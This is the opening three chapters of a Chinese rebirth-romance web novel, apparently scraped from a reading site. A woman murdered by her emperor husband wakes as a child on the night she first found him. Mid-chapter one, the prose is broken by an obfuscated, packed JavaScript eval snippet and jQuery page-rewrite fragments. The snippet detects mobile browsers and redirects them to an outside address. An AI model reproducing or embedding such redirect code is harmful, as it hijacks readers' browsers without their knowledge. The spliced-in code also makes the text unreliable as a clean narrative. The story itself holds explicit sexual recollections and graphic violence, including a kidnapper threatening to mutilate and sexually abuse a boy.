《被我养大的小可怜成反派了》 1. 第 1 章 《被我养大的小可怜成反派了》 作者:饯冬/2025.01.21 第一章:重生回幼心下茫然(1) 细长的眼,眼尾上扬,一侧薄唇微勾,似笑非笑望着她。 他像一只生于水中的阴湿男鬼,骨骼轮廓深邃如刀削,给人以一种极其吊诡的美感。 既仙又鬼,偏不似人。 她想,她大概这辈子都不会忘记他的名字——裴沾雪,她的夫君,浮花国新帝,亦是,亲手杀害她的妖鬼。 四目相对,那妖鬼露出谪仙般的笑容,偏头睨她,“夫人痛吗?” 白齿红唇,诉的却尽数是些不漂亮的话,少年视线缓慢下滑,掠过她颤抖的长睫,喘/息的生出几道裂纹的嘴唇,以及他最是欢喜的纤细的脖颈……最终,他将目光定在她的胸膛,被/插着一把长剑的、奄奄一息,缓慢起伏的胸膛。笑眯眯的。 又是这般置身事外的语气,仿佛不知道自己对她做了什么样的坏事。 徐明堂冷笑一声,气息微弱,想说什么,却最终什么都没有说。她已经没有气力再向这位年轻的帝王讨伐什么了。她已经,很累很累了。 垂在身侧的双手颤颤巍巍抚上插在胸口的利刃,徐明堂垂眼,看着自己被鲜血染遍的身体,徐徐地却又贪婪地呼吸着周野稀薄的空气。 死在他手上,或许天道早已为她书写好的结局。她万般无奈的想。 可即便是到了她生命的最后时刻,偏偏,他还不忘伤她。 修长食指捻去她脖间溅上的血液,裴沾雪挑了下眉,讥笑道,“啧,孤早便同水洲说过,不宜用剑,瞧瞧,这血都染上夫人美丽的脖颈了。” 男人脸上的嫌恶之情一闪而过,随即又被伪装为运筹帷幄。究竟他的伪装才是伪装,还是真情流露,她早已分辨不清了,跟他跟了这样久,她还是摸不清他的性子。 舌尖将女人的血液卷入口腔,少年粲然一笑,抚上她胸口利刃,一字一顿,“夫人莫怕,阴曹地府,孤马上就来陪你了。” 语毕,长剑被拔出又再次狠狠插/入她的心脏。 那是她咽气之前,看到的最后一副画面。 浮花三年,我死在鹅毛大雪中,我的孤魂游荡在繁华京城,我站在不远处看他哭得那样心痛,我笑着摇头,暗叹他的虚伪,又气愤他的无情,他这一生只道追权逐力,哭的究竟是我的死还是他的王权,又有何人知晓? 忽地,我脑中热气翻滚,头痛欲裂之际当即失去意识,命运的安排叫我没能看见——那位活阎王在我昏厥之后,手持长剑,应允了他对我许下的承诺。 冰凉的刀刃架上他的脖颈,他垂眼,用那双泛红的眼睛微微笑着看向我的尸体,“明堂,孤来陪你了。” 血染雪地,惊心动魄,他也当真做到了与我一生一世,长眠厮守,在这华美却溃烂的宫殿中。 * 再次睁眼,徐明堂出现在一片虚无幻境。 漆黑的夜,静的瘆人,除了风吹草动便别无其它。 她站在一处空旷的草地上,凉飕飕的,不自觉抱紧双臂。 这是哪儿? 徐明堂拧眉,几乎是下意识的四处打量。 山坡,草地,向日葵,还有寥寥无几的树。除此之外,再无其他。不管怎么看,这里都只是再普通不过的树林而已。 她身子后仰,顿感有些难以置信。 不至于吧?她不过是一个死在夫君手下的可怜女子而已,莫不是什么罪不可恕的恶人。 难道死了都没画册子里的白无常领她去喝孟婆汤吗? “晦气!”她一边不满于懒惰的妖怪,一边漫无目的的胡乱地走。像一只无头苍蝇,费力扑腾翅膀。 终于,在走到一处芦苇地时,她遇到了这一路上的第一个“人”。 少年年纪约莫十五六,身形削瘦,一袭白月僧衣,点尘不染,此刻正盘腿在地上打坐。 徐明堂思来想去,折了芦苇,上前打断他,“打搅了,施主。小女黄泉之路走得不甚流畅,不巧误入这幽静之地,不想您可知‘阎王殿’该如何走?” 显然,她将他视为“非人”,至于是仙还是妖,她顾不上,她只知自己冷得很,急需一处庇身之所。此刻的她宛如一只冰锅上的蚂蚁,甚至不愿去预测人人敬而远之的“阎王殿”究竟有多恐怖,只将它视为自己的归宿。 闻声,少年慢慢睁眼,幽幽瞳孔对上她的眸。 视线交错,他没有立刻回答,重新低头之后,缄默一瞬,双手合十,“善哉善哉,姑娘玩笑了,这‘阎王殿’恕在下并不知该往何处走,况且姑娘一个活人又如何去往一个莫须有不存在的阴间之地呢?” “恕小僧无能为力。”说着,他顿了顿,似是想到什么,再度抬眼,“但是,施主想找之人,应是在那处。” 尾音落下,少年伸手指向东南方向,喃喃自语,“万般皆是命,半点不由人,这一世,还望施主能破解此局。” “阿弥陀佛。” 语落,不知那个眉清目秀的和尚是否给她施了什么法术,徐明堂的双腿竟不受控制顺着他手指的方向走起来。 不过很快,她就将小和尚的话了然于胸——大朵大朵黄色向日葵齐齐绽放于足下,她在这片象征新生与希望的花丛中,觅得一个熟悉的身影。 少年容颜绮丽,秀美妖冶,此刻正藏在草丛里,用一双琥珀色的眼瞳怯生生望她。 他是天生的媚骨,拥有摄人心魄的能力,叫人完全忽略他全身赤/裸、嘴角带血。 这是……这是! 一阵风吹过,徐明堂霎时间想到什么,瞳孔骤然放大,全身汗毛竖起,瞬感一阵阴冷。 咕咚一声,她听见自己吞口水的声音。不由自主的。 不会有错。 绝不会有错。 此刻分明和十几年前的那个晚上,那个她永远无法忘记的晚上,一模一样。 思绪纷乱,将她拉回至回忆中。 浮花国曾名南玉国,因常年不落雪,又被称为旱地,具体的日子记不清了,徐明堂只记得某夜偏逢大雪忽骤,遂,次日便被百姓誉为“极寒之夜”,而就在那日的早些时候,她曾同家妹发生口角,于是大半夜溜出府来,意欲抓回一条冬眠的蛇,好吓唬吓唬那手无缚鸡之力却满腹心机的歹妹。 可惜,漫天白雪地里,蛇没猎到,她遇见一个衣不蔽体的少年,少年身形修长,惨白皮肤上处处泛着红,有浅浅的粉红,是他被冻伤的骨肉,亦有鲜红,是他嘴角和胸前冒着白烟的、热气腾腾的血液,可惜就可惜在,那时的徐明堂压根儿没能看清少年嘴角的血液究竟从何而来,是他自己的?还是,别人的? 一个初生牛犊小丫头片子,一来没见过异性的赤身,二来没遇见过如此诡谲的场面,惊叫一声,手中弓箭悉数坠落,她赶忙用双手捂住眼睛,声音都比平日更加尖锐了几分,“你、你、你是何人!” 偏少年不识她,索性没搭理。她“徐府贵女”的名号,在他眼里,同废纸无二异。僵峙许久,无人应答。直到听见进食的声音,徐明堂才敢悄悄从指缝间露出半颗眼睛—— 只见少年蹲在地上,自顾自继续吃着手里的东西,距离不近,徐明堂眯着眼,看不清,但那股腥臭的气味不禁叫她捏住鼻,他纤细、削瘦,背上有红有紫有青有泥,大片紫绀淤青撬开未经世事少女心房,他定是个可怜人。徐明堂暗暗的想。 这般想着,徐明堂凑近他,在他身后不到半步的地方,解开自己的斗篷,挪脸,紧闭双眼,学着大人的严肃口气,将斗篷伸了出去,“成何体统!还不将衣物速速穿上!” 还是没动静,她恼了。从未有人将她的好心践踏。 睁开双眼,徐明堂皱着眉来,准备用教书先生昨日里才教过的“礼节”同他好好说道说道,谁料一睁眼,少年就大剌剌站在自己面前,不仅毫不避讳传说中的“男女授受不亲”,而且毫无羞意。 一瞬间,她的余光似乎瞥见了什么不该看的东西,真真是被吓到了,几乎带着哭腔,跌坐在地上,“你、你怎么不穿呀!”她冷不丁把斗篷朝他身上丢过去,少年僵在那儿,结结实实挨了她这一砸,倒也没生气,先看看地上的衣,又看看徐明堂,歪头,接着露出不解的神色,他像是想了一会儿,然后默默把衣服捡起,伸出一只手,放在她面前。 他的手指很长,又细,骨节分明,好看的很。 面对好意,徐明堂伸手接过了。 也就是这一刻,她才发现这少年生得到底有多俊美,就凭她在学堂学的三脚猫功夫,不足以用语言评价出他的好看,她只能说,她头一次见到这样好看的人,和阿爹军营中粗鄙的将士们不同,他好看的有些不似人间物。即使落魄如阶下囚。 许是被他的皮囊吸引,徐明堂忘了方才的惊恐,咽了口口水,看他的眼睛,“你为什么不说话?” 少年露出为难的神色。 见状,平日里自诩“聪慧过人”的她终于了解到他既听不懂人话又是个哑巴的事实。 命运的种子悄然埋下,种出的是花还是怪物,没人能知道。就好像没有人能知道,此时此刻,她眼前这位与她坦诚相见的少年,将会是日后亲手杀害她的浮花国新帝,她的夫君。 霜打城郊,一个小哑巴,可怜兮兮,无衣可穿,无人可依,无家可归,连果腹之食都要与野兽抢夺。 出于同情,她将少年捡回家中,悉心照料,教他“人”的习惯,教他读书,教他写字,她从未想过阿母的那句至理名言“做人,最重要就是:仁慈天下生灵。”会成为回旋镖,重重刺入她的心脏。 时间回到现在,徐明堂怔怔的望着眼前人,半怕半恨半怨,一滴晶莹剔透的泪珠悄然间滑过她的脸庞,她回过神来,奋力拍打自己的脸颊。 不不不,这怎么可能呢? 她真是疯了,对,对!她定是冷出幻觉了,定是在做梦呢!哈哈,是因为怨气太深,所以才会在黄泉路上做梦梦到那个疯子。对,一定是这样!一定是! 她一边自欺欺人,一边故意不去看裴沾雪那双人畜无害的眸,仓促间回头,她准备去质问那古怪和尚是何居心,竟编织出这般幻境迷惑她这个已死之人。 离奇的是,一回头,为她指路的小和尚早已消失不见。 望着空了的芦苇地,徐明堂打了个寒颤,接着深吸一口气,小小幅度轻拍胸口,给自己打气。努力劝说自己和裴沾雪已是两个世界的人,再无交集可能。 也是这一拍才发现,她的伤不见了。 她惶恐。 那道被利剑所破的伤不见了! 垂眼,衣物整洁似新,徐明堂心跳愈来愈快,隐约觉察到事情没她想象中那么简单。 她打量起自己,这才发现,不仅伤口不见了,她整个人也跟着变小了,身上穿的亦不是死时的那一件。对啊,她刚才就该想到了,如今的她,高度怎会比小裴沾雪还要低? 屏住呼吸,徐明堂脑中闪过一个大胆的想法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491791|202266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道她,重生了? 一秒, 两秒, 三秒。 徐明堂站在原地,又是捏脸又是掐自己,花了大约半炷香时间理清思绪,而后,头也不回的无视小裴沾雪的存在。 泪,再次不争气的一滴滴滚下,她反手拭去,步子毅然坚定。 是的,没错,倘若她真的重生,第一件事就是远离裴沾雪,莫说救他,唯恐避之不及。 * 上一世,裴沾雪作为叛国佞臣,谋取皇权,一举成为浮花国新帝,而作为前朝太子未过门的妻,徐明堂很快被其占为己有。 众人口中的亡国之女,灾祸之兆,到他这儿,反倒成了香饽饽。裴沾雪不顾旁人阻挠,硬是要娶她为妻。 不得已,她成为浮花国皇后。 她和裴沾雪的这段感情称不上美好,甚至,可以说是扭曲的、变态的。 他是个极其矛盾的人,洁癖,但却喜欢一些脏东西。 比如,他喜欢在每个日夜用手折磨徐明堂,喜欢听她旖/旎的叫声,喜欢她黏腻腻的汁水布满他的十指,然后生生咽下喉咙。 他还喜欢甜丝丝的蜂蜜,尤其是倒在她身上,由他舔/舐干净的时候。 更喜欢女子褪去全部衣衫,娇滴滴骑在他的大腿时,为她画下的美人图。 一切龌龊的腌臜事都能被他做的充满神性与优雅,她最讨厌他这一点。 之后,随着男人占有欲愈发浓烈,□□的交/合似乎再也满足不了他。 于是,他开始追求精神层面的契合,他潜心佛教,然后,又破戒杀了她。 是的,这就是他杀她的理由。 呵,徐明堂扯扯嘴角,还能再荒诞一点儿吗? 据他所说,他杀她,是因为他太爱她了。 他说,只要二人共赴黄泉,便能超脱凡夫□□,永生永世合二为一。 她永远记得他近乎癫狂的笑,“夫人难道不兴奋吗?我们、我们终于能永远在一起了。” 少年胸腔钻入空气,剧烈起伏,她看见他尖锐的虎牙,方生方死。 罢了, 不管那么多了。 血腥与痛楚交织缠绕的回忆就此打住,徐明堂走到一处宅院前停下,春寒料峭风划过,她抬头,定定望着“徐府”二字。 * 一进门,打眼先瞧见家奴小简。 夜三更半,小简衣襟紧系,守于宅中前庭,她随母亲,身子骨极弱,偏偏这天将她冻得直打哆嗦,她也寸步不离。 皇天不负有心人,终于在天际破白之时,张望到门外有人。小简的眼神一下子亮了,一边跑过去开门,一边朝里屋叫嚷,“徐大小姐回来了,夫人!徐大小姐回来了!” 小简是母亲的随嫁丫鬟,声音生来清脆洪亮,她这一嗓子下去,不仅叫醒里屋之人,更是叫家仆邻居悉数灯亮。 “咳咳。”顾如霜佝偻着腰,慢吞吞从屋内出来,一身纯白素衣叫她看起来更像是一朵一现的昙花,柔弱至极。素白的脸上五官精致,只可惜竟一丝血色都寻不到。 “阿母!”陡然间,徐明堂鼻子有些酸,猛地飞奔,一头扎进顾如霜怀中。 “这是怎么了?”顾如霜被她这样一撞,险些站不稳,朝后退了几步,而后从乳白色衣袖下缓缓伸出一只嶙峋的、比衣衫更加苍白的手,轻轻落在徐明堂后背,有气无力拍了几下,“自己闹了脾气要离家,这会儿想起来给为娘撒娇了?” 女人的声音几乎是只含气音,不含实音。 可徐明堂心里清楚,她是真的重生了。 因为,前朝陨落,浮花国盛,昔日的徐府里外,每一个人都早已被斩于乱世之手,横尸遍野,成为一具空壳。 每每夜半,梦醒时分,徐明堂才能在幻境中与家亲相见,而此刻,早已亡故的鬼魂们突然跃然纸上、栩栩如生。 想到这儿,抱住顾如霜的小手不自觉又收紧几分,徐明堂将脑袋埋在顾如霜柔软的小腹,鬣狗似的感受着她的体温。 “对了!”喜悦之情溢于言表,良久后,徐明堂才发现府中少了个人,歪头,看向顾如霜,“阿爹呢?” 顾如霜仰起脖子,瞧了瞧如墨般漆深的夜色,叹,“出去寻你去了。”没两秒,她又垂下眼来,用皮包骨的指节叩在徐明堂头上,“你呀你,你可知近来南玉国中是何局势,竟还敢这般胡闹。”顿了顿,继续说,“也罢,你年岁尚浅,说了也不懂,总之,你爹爹怕你是被奸人所擒,特率一众将士出门寻你去了,也不知何时才能归。” 局势? 徐明堂不说话了。 她估算,若今昔乃捡回裴沾雪的那年,她且不过幼学,也就是南玉国国力最强盛的时期,可方才听阿母的话,好像今年会有什么大事发生似的,啊,她想起来了,那年城中虽繁荣富裕,可风气逐渐败坏,隔三岔五便有小偷小盗之案甚至幼女被拐之案,金吾卫的那群酒囊饭袋又办事不利,迟迟抓不到嫌犯,加之西北各国蠢蠢欲动,虎视眈眈欲要吞下南玉这块宝地,局势确实不稳。正想着,徐府外传来阵阵脚步声。 徐伯卿回来了。 错不了,这声音分明是阿爹率领南军回来了。 徐明堂欣喜回头,且刚脱口一个“爹”字,笑容戛然而止。 宅外苦楝树枝随风摇曳,粉色花瓣纷纷坠落,像极开了一场盛大的花雨。 逆光中,裴沾雪站在雨里,像是从天而降的仙人,后有圣光,面无表情,淡淡然看她,审判她。 2. 第 2 章 第二章:重生回幼心下茫然(2) 我,徐明堂,南玉四年,出生于名门将士之家。 听闻我出生那日,天光大亮,半边夕阳熔金,半边浓紫星垂,几乎是顷刻间,夕阳变黑夜,月光散作透明雨燕,口叼虹彩,撞死在徐府窗台。 此乃凶兆,甚至可以说是大凶之兆。 偏逢士大夫迷信,于是以讹传讹,遂将其包装成一绝世奇谈,唤我为百年难得一遇的奇女子。 归功于此,阿爹一官半爵未丧,我也成了一众胭脂粉末以外唯一一个能进入军营习武的女子。 可,父亲始终觉得女子应循三从四德,与母亲一样在家中相夫教子,打打杀杀是男人的事,所以,他教给我的仅仅是一些皮毛,根本谈不上是“武功”二字,而最终,我也如他所愿,成为深藏于王宫内的美娇娘……呵,或者更准确来说,成为裴沾雪的玩物。 这般想着,徐明堂一瞬不瞬盯紧少年,嘴唇不自觉崩成一条直线。 我明明已经丢弃了他,为何就这样巧,父亲又捡回了他。 她又惧又恨,根本控制不住,失了分寸,“不,不要过来!” 红了的眼眶和发抖的手指无一不暴露出她的恐惧,无奈徐伯卿瞧不出,高大的男子一手扶腰间佩剑,一手牵着少年,板着脸走进来,在徐明堂面前停下,略带讥讽,“哟,这是谁家的姑娘回来了?还不要过来,真是好心当成驴肝肺,怎么养了你这么个白眼狼。” 说完,他径直往里走,顾如霜顺势拽住徐伯卿的胳膊,劝和道,“老爷,人回来就好。多大的人了,您和明堂稚什么气。明堂知道错了,对吗?明堂?” 母亲朝她使了个眼色,徐明堂失了神,好一会儿,才如提线木偶般点头,“对……明、明堂知错了。” 她嘴上求饶,余光却始终停在裴沾雪脸上,一颗心一直沉,一直沉,窒息地快要喘不过气。 细密花瓣悄悄落下,气氛就此静下来。 “您,”好不容易,徐明堂鼓起勇气,望着三人背影,小声,“您要收他入府?” “怎么?”徐伯卿已坐上主座,衣摆一荡,盖在腿上,眼皮子也没抬一下,端起桌上沏好的茶,吹了几下便一饮而尽,重重放在桌上,看向徐明堂,“徐大小姐对此有意见?”他真不愧是徐明堂的爹,脾气都是一个模子刻出来的,他还在气头上,所以在觉察到徐明堂不想让他收养裴沾雪时,即使自己本意不如此,也故意要与她对着干。 “阿爹要收养他一介草民,万万不可!”徐明堂瞪大眼睛。 可她站在屋外,此时的三角构图、以及从上位到下位的审视,似乎早已说明她的抗争永远不会成功。 过度心急的语气,反而让徐伯卿误以为女儿被养“歪”了,于是一拍桌子,朝她大喝道,“徐明堂,为父平时是如何教你的?你现在是学那群贪官污吏,狗眼看人低是吗?” 不过他一介武夫,确实说不出其他指责徐明堂的话了。于是转头向夫人求救道,“夫人,你瞧瞧这孩子。” 可惜的是,顾如霜没有顺着他的话茬责备徐明堂,而是将目光转向这位未曾谋面过的少年,“这孩子是?” “哦。寻明堂的时候半道上碰见的,见他可怜,便顺道带回来了。”徐父一拍手掌,像是非常惜才般,“见他的时候,无衣无履,这大雪天,看了着实叫人心疼,另外,这孩子不会说话,像是哑巴,而且从他的举止来看,不排除是被山林野兽养大的可能……” 话没说完,徐明堂提着裙摆,直直冲到老两口面前,以一种前所未有的非常复杂的表情说道,“母亲,您劝劝爹,别管那孩子了,他乃不祥之物,会给徐府惹来杀身之祸!” 她被逼急了,所以将话说的这样直白。 好几颗花瓣扎进她的头发里,让她的头发看起来很混乱,让她显得格格不入,倒像是她闯入了这穿戴整齐的一家人。 只是她没想到母亲的反应会如此激烈,顾如霜难以置信的垂眼看她,眉头紧锁,嘴唇微微颤抖,“明堂,母亲平日里是如何教你的?” 徐明堂闭了嘴,悻悻然。 顾如霜不依不饶,“母亲平日里是如何教你的!” “女子应当贤良淑德,仁慈天下生灵。”徐明堂低下头。 “你,”顾如霜还想说些什么,最终什么都没说,蹙起眉头,深深叹了口气,“罢了罢了,你知道就好。” “小简,带小姐回房休息。” “是,夫人。” 那一夜,徐明堂心乱如麻。在小简温暖的小手推搡下,慢慢吞吞的回到房间。房门关上的前一秒,她在门缝中望着三人商讨的样子,望着裴沾雪听话顺从的样子,缓慢的吐出一口气,氤氲雾气很快在冷风中升起,飘开,散开,四目相对,她偏开视线,看向即将天明的东方,暗自发誓。 既然上苍给了她重生的机会。 那么,重来一世,她这一世的任务便是…… 她低头,默念出声,“永远,永远,不要让裴沾雪爱上我。” * 眨眼间,裴沾雪已在徐府留宿三日。徐再琴予其名“汀花”。 餐桌上, 顾如霜满脸愁容,“老爷,您说这都好几日了,明堂会不会出了什么事?” 也正是这三日,徐明堂离家出走了。 徐伯卿看着比顾如霜冷静多了,且他的这份冷静中还掺杂着几丝不愉快,或者说是闷气,“夫人放心吧,我且派人打探过了,她呀,”他冷哼一声,“在孟谦府上好吃好喝着呢。” 说完,男人撂下筷子,转身面向顾如霜,做出一副百思不得其解的模样,“你说,夫人你说,我不就是说了她两句,她这就要离家出走?脾气是越来越大了,也不知是随了谁了,而且,这有本事离家出走,就靠自己的双手养活自己,跑去投靠朋友,这就叫无能!” “老爷幼时家道中落,不也是靠朋友接济,”顾如霜掩面轻笑,“况且,您真当明堂是男子了?” 为防徐伯卿再议,顾如霜没再继续说下去,眼神飘向一边的裴沾雪,叹息,“怎还未见这孩子的父母来寻呢?难道真如老爷所说,是被遗弃的?那他是如何长到这么大的?” 她天生菩萨心肠,最是见不得这些流离失所的苦难人,且她当真觉得这孩子生得眉清目秀,假以时日,会是个根正苗红的大人物。 “估摸是在山里和那些兽类抢吃的,所以长这么大吧。”徐伯卿重新拿起筷子,看着趴在地上狼吞虎咽的裴沾雪,发自肺腑,“可怜。” “总住在徐府也不是办法,若是叫旁人知晓还以为偌大徐府是收容所呢,到时候挤破了头送孩子进来,可不叫徐府上下忙都忙不过来?”顾如霜说。 “理是这个理,”徐伯卿眼神定在一处,缓慢的点头,遂抬眼,与顾如霜对视,蹙起眉头,思前想后,淡淡开口,“这样吧,我看这孩子不会书亦不识字,贸然将他送去别处怕是不会适应,反而会沦落为乞,不如帮人帮到底,送佛送到西,授之以渔不如授之以渔。” “老爷的意思是……先将他安置在徐府,教他读书识字,等有个一技之长傍身后再找个活儿给他?”顾如霜问。 “正是。”徐伯卿说。 顾如霜点点头,“这期间便给他一个小厮的身份如何?也好不遭旁人说辞。” 一番对话,叫徐再琴来了兴致,她放下筷子,笑眯眯,“娘亲,阿姐不懂事,再琴倒是愿意揽下‘教书育人’的活儿为父亲母亲分忧,再琴虽不善武术,但舞文弄墨之事尚且看得过去,母亲交给我,放心既是。” “对了,日后再琴应如何称呼这位少年呢?”徐再琴来劲了。 “昨日见到他的时候已经问过,”徐伯卿摇头,“话都不会说,又怎会有名讳。” “那我们替他取名一个吧?”徐再琴眼睛亮晶晶的,“昨夜爹爹携他回府,一时间,苦楝花瓣纷纷而落,甚是美哉,不如就叫他汀花?” 顾如霜拧了下眉,看向徐伯卿,“这名字女孩子家家的,妾身看是不妥。” “沾雪呢?”顾如霜提出自己的建议。 徐伯卿愣了愣,没说话,后一语道出顾如霜心中所想,“君坐明堂上,不要沾风雪。” 他给了顾如霜一个意味不明的眼神,“夫人莫忘了,明堂和太子殿下的娃娃亲。” 四周瞬间静下来。 好一会儿,徐伯卿看向顾如霜,一字一顿,“就叫‘汀花’吧,夫人觉得呢?” 顾如霜轻咳两声,头也没抬,“都听老爷的。” 她没有去看徐伯卿的脸,而是转向裴沾雪,从衣袖里掏出一样东西,递了过去,“把这个送去孟府给明堂,你们之间怕是有误会,既已决定要留下,还是将这误会解开为好,好不好?” 裴沾雪接过那纸书信,似懂非懂的望着她。 “夫人,您忘了,”小简将裴沾雪护在身前,笑吟吟说,“他不识字,更别提能听懂您说话了。还是由小简领他去孟府吧,大小姐也不是那么不讲道理的人,到时候,一切的误会都会迎刃而解的。” “但愿如此。” * 另一头,孟恬的闺房中。 两个女孩完全把“大家闺秀”四个字抛诸脑后,一个双腿叉开,大剌剌靠在床上,另一个坐在凳子上,一腿屈曲,将脚翘在凳子上,以极为粗犷的、类似于男人的方式,大口大口吃着手中的苹果,“不至于吧,大半夜跑出去抓蛇,你胆子还真大呀你。” 孟恬像个小大人一样,一边笑一 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“当真当真!”下人点头如捣蒜。 丧门星走了,徐明堂的表情肉眼可见喜悦,两脚“呲溜”一下,如活鱼一般滑进鞋里,鞋跟都没来得及拔上,就兴高采烈的打开了门,“走吧!” 不过很快,她就后悔了。刚刚踏出孟府大门,大老远她就看见裴沾雪的脸,当然,如果只是那张祸国殃民的脸就算了,最最关键的是,他脖子上居然挂着一块木牌,上面赫然写着“求小姐回家”五个大字。 …… 滑稽, 实在是滑稽。 徐明堂两眼一黑,跟脚底板抹了油一样猛然一个转身,想重新投到投靠孟府。谁料,管家早已预料,将她挡在门外,她往左走,管家就往左挡,她往右走,管家就往右挡。她气不过,抬头想理论,管家就一副身不由己的模样赔笑。 “你!”徐明堂气不打一处来。 那又有什么办法? 透过管家的身影往后看,唯一的援军孟恬也已经被关在房内,现在真是叫天天不应,叫地地不灵了。 无奈,徐明堂只能硬着头皮朝裴沾雪走去……个屁。 她全当他是透明人,径直走过他,自顾自往徐府走。若不是他一直悄无声息跟在她后面,她被惹烦了而且当真觉得他挂着牌子丢人,她才不会主动与他说话。 “喂,你想跟我跟多久?”她转身看他,眼神和语气满是咄咄逼人。 猝不及防的问话,让裴沾雪心中一惊,下意识看天,装出一副没在跟着他的样子。在旁人看来,倒像是成了她的不是,莫名其妙给她扣了一个“欺负下人”的帽子,这让徐明堂更是不爽。 徐明堂拽住裴沾雪的胳膊,一把将其逼进无人小巷。在杂乱的稻草捆和昏暗的光线下,语气危险,“裴沾雪,你一个人来的?” 前世受尽他的欺辱,现世她下意识学着他的样子,欺身将他压在柱上,眯眼看他,“你可认识我?” 四目相对,少年缓慢的眨眼,露出不解的神色。 徐明堂继续保持着这诡异的姿势盯着他瞧。 褪去滑稽的宽大铠甲,此时,裴沾雪已经换上府中小厮的粗衣布料,乌黑长发如流云泄地,高高束起,让人的视线更聚焦于他那副似神似仙的骨和皮。 她眯着眼,少年便也学着她眯眼,后又觉得不舒服,索性眨巴眨巴眼睛看她,长长的睫毛下浮起几朵红晕,徐明堂大惊失色,赶忙拉开距离。 像他那样嗜好独特的男子怎会如此纯情? “谅你演技也没那么好!”徐明堂自言自语,她将木牌从他身上摘下,扔向一边,“你回去同爹爹说,你和我,只能留一个。” 千算万算,没算到裴沾雪现在不识字。 徐明堂一顿,灰溜溜将地上的木牌捡起来,用地上的小刀在木牌上刻下自己的诉求,然后美美交给裴沾雪,心情舒畅的就要离开。 那个时候的她,可以说是开心到了极点,所以完全忽略了地上小刀的来历。 徐明堂估算了一下,她从家里拿了好几两银子,估计还能挺几日。 没成想下一秒,裴沾雪拽住她的衣角,一双无辜的眼睛似乎在问,“你要去哪儿?” 正是因为看懂他的眼睛,所以她笑眯眯地拍掉了他的手,歪头,也不管他听不听得懂,“我去哪儿?你可管不着。” 语毕,她清楚看见裴沾雪的瞳孔于瞬间放大,还没来得及沾沾自喜,少年手一用力,一把将她拖到自己身后,而后一声巨响,一根不知从何来的棍子直直砸在裴沾雪脑袋上,再然后,徐明堂两眼一黑,被人往脑袋上蒙了个布袋,也跟着没了知觉。 3. 第 3 章 第三章:重生回幼心下茫然(3) 车轮咕噜噜向前滚,伴随车夫的一声长“吁”,徐明堂的思绪似乎清醒了一些。眼睛还没睁开,耳边先传来男人粗破低俗的语言。 “大人,您可不知道,我这次真是走了狗屎运,就去小巷子里撒个尿的功夫,您瞧瞧怎么着,居然寻着这两个宝贝,”男人越说越起劲,“这次这小姑娘啊,长得那叫一个俊俏,而且,买一送一,不对,拐一送一,我还给大人您啊,弄回来个男丁!您可别说,这男娃怎得比女娃还俊俏。” “不是我跟您吹啊大人,这次的品相,可是千载难逢的好啊!” 喋喋不休的夸夸其词,在上位者眼中,不过是想要更多奖赏的表现。 帘子后面的男人嘴角一勾,笑着挥了挥手。然后另一个男人的声音响起,不耐烦的打断,“好了好了,知道了。喏,这是大人给你的赏钱。” 跪在地上的男人立刻感恩戴德,亮亮的磕了三个响头,口中说的话无尽虚伪,“小的惶恐,大人给的已经够多了,小的怎还敢收下这金元宝呢?” 且说着便伸就要接过那金元宝。 看着他那副贪婪的嘴脸,作为始作俑者的“大人”一时兴起,“……欸。”将元宝收了回去,并以此为契,给那粗鄙的下等人提了个要求。 他们窃窃私语,讨论着不能见天日的腌臜事。 徐明堂听不见,但却能听出来那个连连点头的男子就是打晕了裴沾雪并绑了她的男人,此刻正在竭力的阿谀奉承。 这很正常,得了便宜,自然是要卖乖的。 他满口答应,接着,马车在某处停下,徐明堂听见不止一个人下了车,马车继续行驶,约一炷香才停下。 这个时候,她能明显感觉到身边的人数并不像之前那样多了。 就是不知道裴沾雪如今是生是死。 “哎哟,终于到了。”挟持他们的彪汉颇为愉快地哼着小曲儿,伸了个懒腰,慢慢悠悠靠近,接着将徐明堂头上的布袋“嗖”的一下拿开。 逆光中,徐明堂看见一个体肥膘圆的大汉,此刻正蹲在他面前,两手撑在膝盖上,其中一只手拿着一把小短刀。 原来那时她在木板上刻字的短刀是他的短刀。 徐明堂没说话,只是看着他。 出乎意料的平静让持刀男子笑出了声,“还挺镇静的,也不知道你的同伴怎么样。” 说着,男人起身,往旁走了两步,掀开另一个头套。 裴沾雪两双目紧闭,正靠在对面。 徐明堂大叫一声,“裴沾雪,快醒醒!” 下一秒,男人的巴掌火辣辣打在她的左脸,“小丫头片子,在哪儿撒野呢?” 她被打蒙了,一时间没回话。 男人遂朝她吐了口唾沫,而后不紧不慢提了提裤子,转身将裴沾雪一把扛上肩头,反手掀开帘子,慢慢悠悠、大摇大摆地走下车。 就在帘子被拉开的那一秒,徐明堂看见屋外的景象,是一片荒芜。 是的,他们此刻正在废弃的荒山上。 心急如焚,她被绑在马车上,无法挣脱,只得拼命喊裴沾雪的名字。她不知道自己出于什么心情,明明裴沾雪是杀死她的宿敌,为什么她现在还想救他?她没有时间,也没能力搞清楚这个问题。她现在想的就是赶紧解开手上的绳子,仅此而已。 额头上的汗珠越来越多,徐明堂手上的动作越来越乱,心里越来越紧张。 马车外面,男人自言自语,“要我说呀,这大人就是多此一举,还特意要我阉了这小子,再将他卖到青楼去,就算是卖了去,谁能看上他呢?哎,不过大人的事儿,咱也不好过问,是不是?” “嘶,不过这小模样生的是真好。”男人眼珠子转了转,“送去窑子前要不让我先尝尝鲜?” 听到此,徐明堂心下一紧,不顾手腕上被勒红的印记,奋力挣脱了绳索,火急火燎、踉踉跄跄地朝马车外跑去,“不、不要!” 可是,她终究来迟了。 掀开帘子的那一秒,她见到的景象是——血泊中,裴沾雪一脸兴奋的站在地上,少年手中持刀,衣衫褴褛,衣襟半敞,血痕如枝头残梅,眼神凛冽。而对面的男人则是口面朝地,一动不动躺在乱红中。 死、死了? 徐明堂瞳孔颤抖起来,双脚也不自觉朝后退了两步。 山上的空气安静到了极点,裴沾雪隐约感觉到有人在看他,于是下意识朝徐明堂的方向望去,四目相对的瞬间,徐明堂的瞳孔放大。 那个眼神,那个眼神…… 徐明堂永远不会忘记。 